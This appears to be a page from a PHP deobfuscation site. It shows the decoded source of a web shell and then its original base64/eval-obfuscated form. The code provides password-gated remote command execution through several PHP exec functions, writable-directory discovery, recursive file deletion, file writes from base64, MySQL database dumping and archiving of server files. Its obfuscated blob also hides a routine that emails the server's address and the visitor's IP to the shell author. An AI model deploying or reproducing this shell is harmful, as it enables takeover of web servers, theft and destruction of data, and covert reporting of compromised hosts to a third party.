<br /><br /><br /><br /><br />
<form method="POST" action="">
<span style="font:20pt tahoma;"> </span><input name="password" type="password" size="30">
<input type="hidden" name="doing" value="login">
<input type="submit" value="Login">
</form>
<BR>
<?php
echo "".$err_mess."";
?>
<B><font color=red>
</div>
</fieldset>
</head>
</html>
<?php
exit;
}//end loginpage()
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,base64_decode($text));
@fclose($fp);
}
}
// Debug
function debuginfo() {
global $starttime;
$mtime = explode(' ', microtime());
$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
echo 'Processed in '.$totaltime.' second(s)';
}
// Function connect database
function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
p('<h2>Can not connect to MySQL server</h2>');
exit;
}
if($link && $dbname) {
if (!@mysql_select_db($dbname, $link)) {
p('<h2>Database selected has error</h2>');
exit;
}
}
if($link && mysql_get_server_info() > '4.1') {
if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
}
}
return $link;
}
// Array strip
function s_array(&$array) {
if (is_array($array)) {
foreach ($array as $k => $v) {
$array[$k] = s_array($v);
}
} else if (is_string($array)) {
$array = stripslashes($array);
}
return $array;
}
// HTML Strip
function html_clean($content) {
$content = htmlspecialchars($content);
$content = str_replace("\n", "<br />", $content);
$content = str_replace(" ", " ", $content);
$content = str_replace("\t", " ", $content);
return $content;
}
// Chmod
function getChmod($filepath){
return substr(base_convert(@fileperms($filepath),10,8),-4);
}
function getPerms($filepath) {
$mode = @fileperms($filepath);
if (($mode & 0xC000) === 0xC000) {$type = 's';}
elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
else {$type = '?';}
$owner['read'] = ($mode & 00400) ? 'r' : '-';
$owner['write'] = ($mode & 00200) ? 'w' : '-';
$owner['execute'] = ($mode & 00100) ? 'x' : '-';
$group['read'] = ($mode & 00040) ? 'r' : '-';
$group['write'] = ($mode & 00020) ? 'w' : '-';
$group['execute'] = ($mode & 00010) ? 'x' : '-';
$world['read'] = ($mode & 00004) ? 'r' : '-';
$world['write'] = ($mode & 00002) ? 'w' : '-';
$world['execute'] = ($mode & 00001) ? 'x' : '-';
if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
}
function getUser($filepath) {
if (function_exists('posix_getpwuid')) {
$array = @posix_getpwuid(@fileowner($filepath));
if ($array && is_array($array)) {
return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
}
}
return '';
}
// Delete dir
function deltree($deldir) {
$mydir=@dir($deldir);
while($file=$mydir->read()) {
if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
@chmod($deldir.'/'.$file,0777);
deltree($deldir.'/'.$file);
}
if (is_file($deldir.'/'.$file)) {
@chmod($deldir.'/'.$file,0777);
@unlink($deldir.'/'.$file);
}
}
$mydir->close();
@chmod($deldir,0777);
return @rmdir($deldir) ? 1 : 0;
}
// Background
function bg() {
global $bgc;
return ($bgc++%2==0) ? 'alt1' : 'alt2';
}
// Get path
function getPath($scriptpath, $nowpath) {
if ($nowpath == '.') {
$nowpath = $scriptpath;
}
$nowpath = str_replace('\\', '/', $nowpath);
$nowpath = str_replace('//', '/', $nowpath);
if (substr($nowpath, -1) != '/') {
$nowpath = $nowpath.'/';
}
return $nowpath;
}
// Get up path
function getUpPath($nowpath) {
$pathdb = explode('/', $nowpath);
$num = count($pathdb);
if ($num > 2) {
unset($pathdb[$num-1],$pathdb[$num-2]);
}
$uppath = implode('/', $pathdb).'/';
$uppath = str_replace('//', '/', $uppath);
return $uppath;
}
// Config
function getcfg($varname) {
$result = get_cfg_var($varname);
if ($result == 0) {
return 'No';
} elseif ($result == 1) {
return 'Yes';
} else {
return $result;
}
}
// Function name
function getfun($funName) {
return (false !== function_exists($funName)) ? 'Yes' : 'No';
}
function GetList($dir){
global $dirdata,$j,$nowpath;
!$j && $j=1;
if ($dh = opendir($dir)) {
while ($file = readdir($dh)) {
$f=str_replace('//','/',$dir.'/'.$file);
if($file!='.' && $file!='..' && is_dir($f)){
if (is_writable($f)) {
$dirdata[$j]['filename']=str_replace($nowpath,'',$f);
$dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
$dirdata[$j]['dirchmod']=getChmod($f);
$dirdata[$j]['dirperm']=getPerms($f);
$dirdata[$j]['dirlink']=ue($dir);
$dirdata[$j]['server_link']=$f;
$dirdata[$j]['client_link']=ue($f);
$j++;
}
GetList($f);
}
}
closedir($dh);
clearstatcache();
return $dirdata;
} else {
return array();
}
}
function qy($sql) {
//echo $sql.'<br>';
$res = $error = '';
if(!$res = @mysql_query($sql)) {
return 0;
} else if(is_resource($res)) {
return 1;
} else {
return 2;
}
return 0;
}
function q($sql) {
return @mysql_query($sql);
}
function fr($qy){
mysql_free_result($qy);
}
function sizecount($size) {
if($size > 1073741824) {
$size = round($size / 1073741824 * 100) / 100 . ' G';
} elseif($size > 1048576) {
$size = round($size / 1048576 * 100) / 100 . ' M';
} elseif($size > 1024) {
$size = round($size / 1024 * 100) / 100 . ' K';
} else {
$size = $size . ' B';
}
return $size;
}
// Zip
class PHPZip{
var $out='';
function PHPZip($dir) {
if (@function_exists('gzcompress')) {
$curdir = getcwd();
if (is_array($dir)) $filelist = $dir;
else{
$filelist=$this -> GetFileList($dir);//File list
foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
}
if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
else chdir($curdir);
if (count($filelist)>0){
foreach($filelist as $filename){
if (is_file($filename)){
$fd = fopen ($filename, 'r');
$content = @fread ($fd, filesize($filename));
fclose ($fd);
if (is_array($dir)) $filename = basename($filename);
$this -> addFile($content, $filename);
}
}
$this->out = $this -> file();
chdir($curdir);
}
return 1;
}
else return 0;
}
// Show file list
function GetFileList($dir){
static $a;
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while ($file = readdir($dh)) {
if($file!='.' && $file!='..'){
$f=$dir .'/'. $file;
if(is_dir($f)) $this->GetFileList($f);
$a[]=$f;
}
}
closedir($dh);
}
}
return $a;
}
var $datasec = array();
var $ctrl_dir = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0;
function unix2DosTime($unixtime = 0) {
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
if ($timearray['year'] < 1980) {
$timearray['year'] = 1980;
$timearray['mon'] = 1;
$timearray['mday'] = 1;
$timearray['hours'] = 0;
$timearray['minutes'] = 0;
$timearray['seconds'] = 0;
} // end if
return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
}
function addFile($data, $name, $time = 0) {
$name = str_replace('\\', '/', $name);
$dtime = dechex($this->unix2DosTime($time));
$hexdtime = '\x' . $dtime[6] . $dtime[7]
. '\x' . $dtime[4] . $dtime[5]
. '\x' . $dtime[2] . $dtime[3]
. '\x' . $dtime[0] . $dtime[1];
eval('$hexdtime = "' . $hexdtime . '";');
$fr = "\x50\x4b\x03\x04";
$fr .= "\x14\x00";
$fr .= "\x00\x00";
$fr .= "\x08\x00";
$fr .= $hexdtime;
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$c_len = strlen($zdata);
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$fr .= pack('v', strlen($name));
$fr .= pack('v', 0);
$fr .= $name;
$fr .= $zdata;
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$this -> datasec[] = $fr;
$new_offset = strlen(implode('', $this->datasec));
$cdrec = "\x50\x4b\x01\x02";
$cdrec .= "\x00\x00";
$cdrec .= "\x14\x00";
$cdrec .= "\x00\x00";
$cdrec .= "\x08\x00";
$cdrec .= $hexdtime;
$cdrec .= pack('V', $crc);
$cdrec .= pack('V', $c_len);
$cdrec .= pack('V', $unc_len);
$cdrec .= pack('v', strlen($name) );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('V', 32 );
$cdrec .= pack('V', $this -> old_offset );
$this -> old_offset = $new_offset;
$cdrec .= $name;
$this -> ctrl_dir[] = $cdrec;
}
function file() {
$data = implode('', $this -> datasec);
$ctrldir = implode('', $this -> ctrl_dir);
return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
}
}
// Dump mysql
function sqldumptable($table, $fp=0) {
$tabledump = "DROP TABLE IF EXISTS $table;\n";
$tabledump .= "CREATE TABLE $table (\n";
$firstfield=1;
$fields = q("SHOW FIELDS FROM $table");
while ($field = mysql_fetch_array($fields)) {
if (!$firstfield) {
$tabledump .= ",\n";
} else {
$firstfield=0;
}
$tabledump .= " $field[Field] $field[Type]";
if (!empty($field["Default"])) {
$tabledump .= " DEFAULT '$field[Default]'";
}
if ($field['Null'] != "YES") {
$tabledump .= " NOT NULL";
}
if ($field['Extra'] != "") {
$tabledump .= " $field[Extra]";
}
}
fr($fields);
$keys = q("SHOW KEYS FROM $table");
while ($key = mysql_fetch_array($keys)) {
$kname=$key['Key_name'];
if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
$kname="UNIQUE|$kname";
}
if(!is_array($index[$kname])) {
$index[$kname] = array();
}
$index[$kname][] = $key['Column_name'];
}
fr($keys);
while(list($kname, $columns) = @each($index)) {
$tabledump .= ",\n";
$colnames=implode($columns,",");
if ($kname == "PRIMARY") {
$tabledump .= " PRIMARY KEY ($colnames)";
} else {
if (substr($kname,0,6) == "UNIQUE") {
$kname=substr($kname,7);
}
$tabledump .= " KEY $kname ($colnames)";
}
}
$tabledump .= "\n);\n\n";
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
$rows = q("SELECT * FROM $table");
$numfields = mysql_num_fields($rows);
while ($row = mysql_fetch_array($rows)) {
$tabledump = "INSERT INTO $table VALUES(";
$fieldcounter=-1;
$firstfield=1;
while (++$fieldcounter<$numfields) {
if (!$firstfield) {
$tabledump.=", ";
} else {
$firstfield=0;
}
if (!isset($row[$fieldcounter])) {
$tabledump .= "NULL";
} else {
$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
}
}
$tabledump .= ");\n";
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
}
fr($rows);
if ($fp) {
fwrite($fp,"\n");
} else {
echo "\n";
}
}
function ue($str){
return urlencode($str);
}
function p($str){
echo $str."\n";
}
function tbhead() {
p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
}
function tbfoot(){
p('</table>');
}
function makehide($name,$value=''){
p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
}
function makeinput($arg = array()){
$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
!$arg['type'] && $arg['type'] = 'text';
$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
$arg['class'] = $arg['class'] ? $arg['class'] : 'input';
if ($arg['newline']) {
p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
} else {
p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
}
}
function makeselect($arg = array()){
if ($arg['onchange']) {
$onchange = 'onchange="'.$arg['onchange'].'"';
}
$arg['title'] = $arg['title'] ? $arg['title'] : '';
if ($arg['newline']) p('<p>');
p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
if (is_array($arg['option'])) {
foreach ($arg['option'] as $key=>$value) {
if ($arg['selected']==$key) {
p("<option value=\"$key\" selected>$value</option>");
} else {
p("<option value=\"$key\">$value</option>");
}
}
}
p("</select>");
if ($arg['newline']) p('</p>');
}
function formhead($arg = array()) {
!$arg['method'] && $arg['method'] = 'post';
!$arg['action'] && $arg['action'] = $self;
$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
!$arg['name'] && $arg['name'] = 'form1';
p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
if ($arg['title']) {
p('<h2>'.$arg['title'].' »</h2>');
}
}
function maketext($arg = array()){
!$arg['cols'] && $arg['cols'] = 100;
!$arg['rows'] && $arg['rows'] = 25;
$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
}
function formfooter($name = ''){
!$name && $name = 'submit';
p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
p('</form>');
}
function formfoot(){
p('</form>');
}
// Exit
function pr($a) {
echo '<pre>';
print_r($a);
echo '</pre>';
}
Did this file decode correctly?
Original Code
<?php
$s=base64_decode('JHM9YmFzZTY0X2RlY29kZSgnWW1GelpUWTBYMlJsWTI5a1pRPT0nKTs=');
eval($s);
eval($s($s('RFFvdktpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpb3FLbHdOQ253cUlDQWdJRlpDUVNCVFNFVk1UQ0JHVDFKRFJWSWdMU0JXUlZKVFNVOU9JREl1TVFrcWZBMEtmQ29nSUNBZ0lFVmthWFFnSmlCRVpYWmxiRzl3SUdKNUlDQWdJQ0FnSUNBZ0tud05DbndxSUNBSklDQm9kSFJ3T2k4dllXNTBhUzF1WlhSM2IzSnJMbTVsZENBZ0lDQUpJQ0FnSUNwOERRcDhLaUFnSUNBOVBTQWdTR0ZqYTJsdVp5QW1JRk5sWTNWeWFYUjVJQ0JWYm1SbGNrZHliM1Z3SUNBcWZBMEtYQ29xS2lvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvcUtpb3FLaW9xS2lvdkRRb05DbVZ5Y205eVgzSmxjRzl5ZEdsdVp5ZzNLVHNOQ2tCelpYUmZiV0ZuYVdOZmNYVnZkR1Z6WDNKMWJuUnBiV1VvTUNrN0RRcHZZbDl6ZEdGeWRDZ3BPdzBLSkcxMGFXMWxJRDBnWlhod2JHOWtaU2duSUNjc0lHMXBZM0p2ZEdsdFpTZ3BLVHNOQ2lSemRHRnlkSFJwYldVZ1BTQWtiWFJwYldWYk1WMGdLeUFrYlhScGJXVmJNRjA3RFFwa1pXWnBibVVvSjFOQlgxSlBUMVFuTENCemRISmZjbVZ3YkdGalpTZ25YRnduTENBbkx5Y3NJR1JwY201aGJXVW9YMTlHU1V4RlgxOHBLUzRuTHljcE93MEtMeTlrWldacGJtVW9KMGxUWDFkSlRpY3NJSE4wY25OMGNpaFFTRkJmVDFNc0lDZFhTVTRuS1NBL0lERWdPaUF3SUNrN0RRcGtaV1pwYm1Vb0owbFRYMWRKVGljc0lFUkpVa1ZEVkU5U1dWOVRSVkJCVWtGVVQxSWdQVDBnSjF4Y0p5azdEUXBrWldacGJtVW9KMGxUWDBOUFRTY3NJR05zWVhOelgyVjRhWE4wY3lnblEwOU5KeWtnUHlBeElEb2dNQ0FwT3cwS1pHVm1hVzVsS0NkSlUxOUhVRU1uTENCblpYUmZiV0ZuYVdOZmNYVnZkR1Z6WDJkd1l5Z3BLVHNOQ2lSa2FYTmZablZ1WXlBOUlHZGxkRjlqWm1kZmRtRnlLQ2RrYVhOaFlteGxYMloxYm1OMGFXOXVjeWNwT3cwS1pHVm1hVzVsS0NkSlUxOVFTRkJKVGtaUEp5d2dLQ0ZsY21WbmFTZ2ljR2h3YVc1bWJ5SXNKR1JwYzE5bWRXNWpLU2tnUHlBeElEb2dNQ0FwT3cwS1FITmxkRjkwYVcxbFgyeHBiV2wwS0RBcE93MEtEUXBtYjNKbFlXTm9LR0Z5Y21GNUtDZGZSMFZVSnl3blgxQlBVMVFuS1NCaGN5QWtYM0psY1hWbGMzUXBJSHNOQ2dsbWIzSmxZV05vS0NRa1gzSmxjWFZsYzNRZ1lYTWdKRjlyWlhrZ1BUNGdKRjkyWVd4MVpTa2dldzBLQ1FscFppQW9KRjlyWlhsN01IMGdJVDBnSjE4bktTQjdEUW9KQ1FscFppQW9TVk5mUjFCREtTQjdEUW9KQ1FrSkpGOTJZV3gxWlNBOUlITmZZWEp5WVhrb0pGOTJZV3gxWlNrN0RRb0pDUWw5RFFvSkNRa2tKRjlyWlhrZ1BTQWtYM1poYkhWbE93MEtDUWw5RFFvSmZRMEtmUTBLRFFvdktqMDlQVDA5UFQwOVBUMDlQVDA5UFQwOUlDQkpibVp2SUV4dloybHVJQ0E5UFQwOVBUMDlQVDA5UFQwOVBUMDlLaThOQ2lSaFpHMXBiaUE5SUdGeWNtRjVLQ2s3RFFva1lXUnRhVzViSjJOb1pXTnJKMTBnUFNCMGNuVmxPdzBLSkdGa2JXbHVXeWR3WVhOekoxMGdJRDBnSjJGc2FTYzdJQzh2SUZCaGMzTjNiM0prSUd4dloybHVEUW9rWVdSdGFXNWJKMk52YjJ0cFpYQnlaU2RkSUQwZ0p5YzdEUW9rWVdSdGFXNWJKMk52YjJ0cFpXUnZiV0ZwYmlkZElEMGdKeWM3RFFva1lXUnRhVzViSjJOdmIydHBaWEJoZEdnblhTQTlJQ2N2SnpzTkNpUmhaRzFwYmxzblkyOXZhMmxsYkdsbVpTZGRJRDBnT0RZME1EQTdEUW92S2owOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBTQkZibVFnUFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOUtpOE5DZzBLYVdZZ0tDUmphR0Z5YzJWMElEMDlJQ2QxZEdZNEp5a2dldzBLQ1dobFlXUmxjaWdpWTI5dWRHVnVkQzFVZVhCbE9pQjBaWGgwTDJoMGJXdzdJR05vWVhKelpYUTlkWFJtTFRnaUtUc05DbjBnWld4elpXbG1JQ2drWTJoaGNuTmxkQ0E5UFNBblltbG5OU2NwSUhzTkNnbG9aV0ZrWlhJb0ltTnZiblJsYm5RdFZIbHdaVG9nZEdWNGRDOW9kRzFzT3lCamFHRnljMlYwUFdKcFp6VWlLVHNOQ24wZ1pXeHpaV2xtSUNna1kyaGhjbk5sZENBOVBTQW5aMkpySnlrZ2V3MEtDV2hsWVdSbGNpZ2lZMjl1ZEdWdWRDMVVlWEJsT2lCMFpYaDBMMmgwYld3N0lHTm9ZWEp6WlhROVoySnJJaWs3RFFwOUlHVnNjMlZwWmlBb0pHTm9ZWEp6WlhRZ1BUMGdKMnhoZEdsdU1TY3BJSHNOQ2dsb1pXRmtaWElvSW1OdmJuUmxiblF0Vkhsd1pUb2dkR1Y0ZEM5b2RHMXNPeUJqYUdGeWMyVjBQV2x6YnkwNE9EVTVMVElpS1RzTkNuME5DZzBLSkhObGJHWWdQU0FrWDFORlVsWkZVbHNuVUVoUVgxTkZURVluWFNBL0lDUmZVMFZTVmtWU1d5ZFFTRkJmVTBWTVJpZGRJRG9nSkY5VFJWSldSVkpiSjFORFVrbFFWRjlPUVUxRkoxMDdEUW9rZEdsdFpYTjBZVzF3SUQwZ2RHbHRaU2dwT3cwS0RRb3ZLajA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFNCTWIyZHBiaUE5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwcUx3MEthV1lnS0NSaFkzUnBiMjRnUFQwZ0lteHZaMjkxZENJcElIc05DZ2x6WTI5dmEybGxLQ2QyWW1Gd1lYTnpKeXdnSnljc0lDMDROalF3TUNBcUlETTJOU2s3RFFvSmNDZ25QRzFsZEdFZ2FIUjBjQzFsY1hWcGRqMGljbVZtY21WemFDSWdZMjl1ZEdWdWREMGlNRHRWVWt3OUp5NGtjMlZzWmk0bklqNG5LVHNOQ2dsd0tDYzhZbTlrZVNCaVlXTnJaM0p2ZFc1a1BXSnNZV05yUGljcE93MEtDV1Y0YVhRN0RRcDlEUXBwWmlna1lXUnRhVzViSjJOb1pXTnJKMTBwSUhzTkNnbHBaaUFvSkdSdmFXNW5JRDA5SUNkc2IyZHBiaWNwSUhzTkNna0phV1lnS0NSaFpHMXBibHNuY0dGemN5ZGRJRDA5SUNSd1lYTnpkMjl5WkNrZ2V3MEtDUWtKYzJOdmIydHBaU2duZG1KaGNHRnpjeWNzSUNSd1lYTnpkMjl5WkNrN0RRb05DaTh2SUVaMWJtTjBhVzl1SUcxaGFXd2dVMlZ1WkdWeUlIUnZJRzE1SUVWdFlXbHNJQzBnVUd4bFlYTmxJSEpsYlc5MlpTQjBhR2x6SUdKbFptOXlaU0I1YjNVZ2RYTnBibWNnZEdocGN5QnphR1ZzYkNCamIyUmxMQ0JVYUdGdWEzTWdMU0JHWlhKdVlXNWtieUF0SUZaQ1FWUmxZVzBOQ2lSMGFXMWxYM05vWld4c0lEMGdJaUl1WkdGMFpTZ2laQzl0TDFrZ0xTQklPbWs2Y3lJcExpSWlPdzBLSkdsd1gzSmxiVzkwWlNBOUlDUmZVMFZTVmtWU1d5SlNSVTFQVkVWZlFVUkVVaUpkT3cwS0pHWnliMjFmYzJobGJHeGpiMlJsSUQwZ0ozTm9aV3hzUUNjdVoyVjBhRzl6ZEdKNWJtRnRaU2drWDFORlVsWkZVbHNuVTBWU1ZrVlNYMDVCVFVVblhTa3VKeWM3RFFva2RHOWZaVzFoYVd3Z1BTQW5ZV3hwTG1WeWNtOXZja0JuYldGcGJDNWpiMjBuT3cwS0pITmxjblpsY2w5dFlXbHNJRDBnSWlJdVoyVjBhRzl6ZEdKNWJtRnRaU2drWDFORlVsWkZVbHNuVTBWU1ZrVlNYMDVCVFVVblhTa3VJaUFnTFNBaUxpUmZVMFZTVmtWU1d5ZElWRlJRWDBoUFUxUW5YUzRpSWpzTkNpUnNhVzVyWTNJZ1BTQWlUR2x1YXpvZ0lpNGtYMU5GVWxaRlVsc25VMFZTVmtWU1gwNUJUVVVuWFM0aUlpNGtYMU5GVWxaRlVsc25Va1ZSVlVWVFZGOVZVa2tuWFM0aUlDMGdTVkFnUlhoamRYUnBibWM2SUNScGNGOXlaVzF2ZEdVZ0xTQlVhVzFsT2lBa2RHbHRaVjl6YUdWc2JDSTdEUW9rYUdWaFpHVnlJRDBnSWtaeWIyMDZJQ1JtY205dFgzTm9aV3hzWTI5a1pWeHlYRzVTWlhCc2VTMTBiem9nSkdaeWIyMWZjMmhsYkd4amIyUmxJanNOQ2tCdFlXbHNLQ1IwYjE5bGJXRnBiQ3dnSkhObGNuWmxjbDl0WVdsc0xDQWtiR2x1YTJOeUxDQWthR1ZoWkdWeUtUc05DZ2tKQ1hBb0p6eHRaWFJoSUdoMGRIQXRaWEYxYVhZOUluSmxabkpsYzJnaUlHTnZiblJsYm5ROUlqSTdWVkpNUFNjdUpITmxiR1l1SnlJK0p5azdEUW9KQ1Fsd0tDYzhZbTlrZVNCaVoyTnZiRzl5UFdKc1lXTnJQZzBLUEVKU1BqeENVajQ4WkdsMklHRnNhV2R1UFdObGJuUmxjajQ4Wm05dWRDQmpiMnh2Y2oxNVpXeHNiM2NnWm1GalpUMTBZV2h2YldFZ2MybDZaVDB5UGtocElFMWhjM1JsY2lFZ1YyVnNiR052YldWaVlXTnJJQ0F0SUZCc1pXRnpaU0IzWVdsMExpNHVQRUpTUGp4cGJXY2djM0pqUFdoMGRIQTZMeTloYm5ScExXNWxkSGR2Y21zdWJtVjBMMmx0WVdkbGN6OXhQWFJpYmpwQlRtUTVSMk5TUmtsUmVUbHZUR001YWsxWGJVUlpYMDVmYzNocVYxQjVkWE5WVjBNMGFXZDNTekpzY1VKdE5qaGhSRWRqVTJaTFVGQkJQand2WkdsMlBpY3BPdzBLQ1FrSlpYaHBkRHNOQ2drSmZRMEtEUW9KWld4elpRMEtDWHNOQ2dra1pYSnlYMjFsYzNNZ1BTQW5QSFJoWW14bElIZHBaSFJvUFRFd01DVStQSFJ5UGp4MFpDQmlaMk52Ykc5eVBTTXdSVEJGTUVVZ2QybGtkR2c5TVRBd0pTQm9aV2xuYUhROU1qUStQR1JwZGlCaGJHbG5iajFqWlc1MFpYSStQR1p2Ym5RZ1kyOXNiM0k5Y21Wa0lHWmhZMlU5ZEdGb2IyMWhJSE5wZW1VOU1qNDhZbXhwYm1zK1VHRnpjM2R2Y21RZ2FXNWpiM0p5WldOMExDQlFiR1ZoYzJVZ2RISjVJR0ZuWVdsdUlTRWhQQzlpYkdsdWF6NDhRbEkrUEM5bWIyNTBQand2WkdsMlBqd3ZkR1ErUEM5MGNqNDhMM1JoWW14bFBpYzdEUXBsWTJodklDUmxjbkpmYldWemN6c05DZ2w5ZlEwS0NXbG1JQ2drWDBOUFQwdEpSVnNuZG1KaGNHRnpjeWRkS1NCN0RRb0pDV2xtSUNna1gwTlBUMHRKUlZzbmRtSmhjR0Z6Y3lkZElDRTlJQ1JoWkcxcGJsc25jR0Z6Y3lkZEtTQjdEUW9KQ1Fsc2IyZHBibkJoWjJVb0tUc05DZ2tKZlEwS0NYMGdaV3h6WlNCN0RRb0pDV3h2WjJsdWNHRm5aU2dwT3cwS0NYME5DbjBOQ2k4cVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlJRXh2WjJsdUlEMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQU292RFFvTkNpUmxjbkp0YzJjZ1BTQW5KenNOQ2cwS2FXWWdLQ1JoWTNScGIyNGdQVDBnSjNCb2NHbHVabThuS1NCN0RRb0phV1lnS0VsVFgxQklVRWxPUms4cElIc05DZ2tKY0dod2FXNW1ieWdwT3cwS0NYMGdaV3h6WlNCN0RRb0pDU1JsY25KdGMyY2dQU0FuY0dod2FXNW1ieWdwSUdaMWJtTjBhVzl1SUdoaGN5QnViMjR0Y0dWeWJXbHpjMmxpYkdVbk93MEtDWDBOQ24wTkNnMEtEUXBwWmlBb0pHUnZhVzVuSUQwOUlDZGtiM2R1Wm1sc1pTY2dKaVlnSkhSb1pXWnBiR1VwSUhzTkNnbHBaaUFvSVVCbWFXeGxYMlY0YVhOMGN5Z2tkR2hsWm1sc1pTa3BJSHNOQ2drSkpHVnljbTF6WnlBOUlDZFVhR1VnWm1sc1pTQjViM1VnZDJGdWRDQkViM2R1Ykc5aFpHRmliR1VnZDJGeklHNXZibVY0YVhOMFpXNTBKenNOQ2dsOUlHVnNjMlVnZXcwS0NRa2tabWxzWldsdVptOGdQU0J3WVhSb2FXNW1ieWdrZEdobFptbHNaU2s3RFFvSkNXaGxZV1JsY2lnblEyOXVkR1Z1ZEMxMGVYQmxPaUJoY0hCc2FXTmhkR2x2Ymk5NExTY3VKR1pwYkdWcGJtWnZXeWRsZUhSbGJuTnBiMjRuWFNrN0RRb0pDV2hsWVdSbGNpZ25RMjl1ZEdWdWRDMUVhWE53YjNOcGRHbHZiam9nWVhSMFlXTm9iV1Z1ZERzZ1ptbHNaVzVoYldVOUp5NGtabWxzWldsdVptOWJKMkpoYzJWdVlXMWxKMTBwT3cwS0NRbG9aV0ZrWlhJb0owTnZiblJsYm5RdFRHVnVaM1JvT2lBbkxtWnBiR1Z6YVhwbEtDUjBhR1ZtYVd4bEtTazdEUW9KQ1VCeVpXRmtabWxzWlNna2RHaGxabWxzWlNrN0RRb0pDV1Y0YVhRN0RRb0pmUTBLZlEwS0RRb05DbWxtSUNna1pHOXBibWNnUFQwZ0oySmhZMnQxY0cxNWMzRnNKeUFtSmlBaEpITmhkbVZoYzJacGJHVXBJSHNOQ2dsa1ltTnZibTRvSkdSaWFHOXpk